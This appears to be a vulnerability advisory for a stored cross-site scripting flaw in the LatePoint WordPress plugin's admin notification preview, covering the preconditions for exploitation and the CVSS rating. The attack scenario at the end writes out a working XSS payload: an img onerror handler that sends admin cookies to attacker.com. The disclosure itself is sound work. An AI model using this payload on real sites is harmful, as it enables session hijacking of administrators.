LatePoint WordPress Plugin EUVD-2026-27544

Exploitation requires: (1) valid authenticated customer account on the target WordPress site (attacker can self-register if customer accounts are open); (2) customer access to the customer cabinet profile update endpoint that accepts POST parameters for first_name, last_name, phone, or notes fields; (3) an administrator or agent account that previews a notification template referencing at least one of the vulnerable customer variable placeholders ({{customer_full_name}}, {{customer_first_name}}, {{customer_last_name}}, {{customer_phone}}, or {{customer_notes}}). The vulnerability is NOT restricted to a single notification type - any template using these placeholders is affected. No special plugin configuration is required; default LatePoint installations with customer accounts enabled are exploitable. Limiting factors: attacker must possess customer-level access (PR:L in CVSS), and the payload only executes when an admin/agent actively previews a template, making widespread automated exploitation difficult without social engineering or coordination with site staff. The vulnerability does NOT affect end-customer-facing notification emails sent via standard WordPress email functions (those would use separate escaping), only the admin preview panel.

CVSS 6.4 (AV:N/AC:L/PR:L/UI:N/S:C) accurately reflects the attack surface and business impact. Network-accessible exploitation with low complexity and low privilege requirement (customer-level access) is realistic in typical WordPress deployments where customer self-registration is enabled. However, the lack of user interaction (UI:N) in the CVSS vector is technically correct - the admin/agent does not need to interact with the attacker's input directly; they only need to preview any notification template containing the vulnerable customer variable placeholders, which is a normal administrative function. The scope change (S:C) is the critical factor elevating severity: a low-privilege customer account can inject code that executes with admin or agent permissions. No EPSS score, POC status, or KEV listing provided in input data. Real-world risk is MODERATE-to-HIGH because exploitation requires only customer account creation (often unrestricted on booking sites) and the payload storage is persistent across all notification previews using those variables. Defenders must recognize that this is NOT mitigated by simply blocking external script sources - the XSS executes from same-origin admin preview endpoints. The AC:L rating is warranted; no special configuration or race conditions are required. Limiting factor: attacker must have valid customer account (PR:L), and impact is restricted to users who preview notifications (not full admin takeover), but the combination of account creation + persistent injection + high-value impact context is a real threat to multi-user WordPress deployments.

An attacker creates a free customer account on a WordPress site running vulnerable LatePoint plugin. The attacker navigates to the customer cabinet profile update page and enters a first name value such as 'John<img src=x onerror="fetch('https://attacker.com/steal?cookie='+document.cookie)">'. This payload is stored unsanitized in the database. When a site administrator or booking agent previews a notification template containing the {{customer_first_name}} placeholder (e.g., a booking confirmation or reminder email template), the generate_preview() function retrieves the stored malicious value and injects it into the HTML output without escaping. The embedded onerror event fires in the admin's browser, exfiltrating session cookies or performing actions on behalf of the administrator.